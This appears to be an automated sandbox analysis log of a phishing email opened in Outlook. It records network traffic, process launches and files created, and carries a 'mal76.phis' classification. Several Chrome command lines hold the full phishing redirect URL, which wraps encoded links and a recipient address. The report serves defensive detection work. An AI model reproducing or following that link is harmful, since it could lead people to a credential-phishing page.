Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49731 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.winMSG@32/81@60/21

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241007T1458090313-6928.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B3E3ED68-E3F6-4C84-A398-33E99E7B63A5" "509AA02B-1097-4684-B4A7-E5EB26F7509D" "6928" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1912,i,10919333991818839902,5121164596706784509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2028,i,5372999462618525126,16104057592058770167,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "B3E3ED68-E3F6-4C84-A398-33E99E7B63A5" "509AA02B-1097-4684-B4A7-E5EB26F7509D" "6928" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1912,i,10919333991818839902,5121164596706784509,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2028,i,5372999462618525126,16104057592058770167,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.10.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Email

LLM: Email contains prominent button: 'review document'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
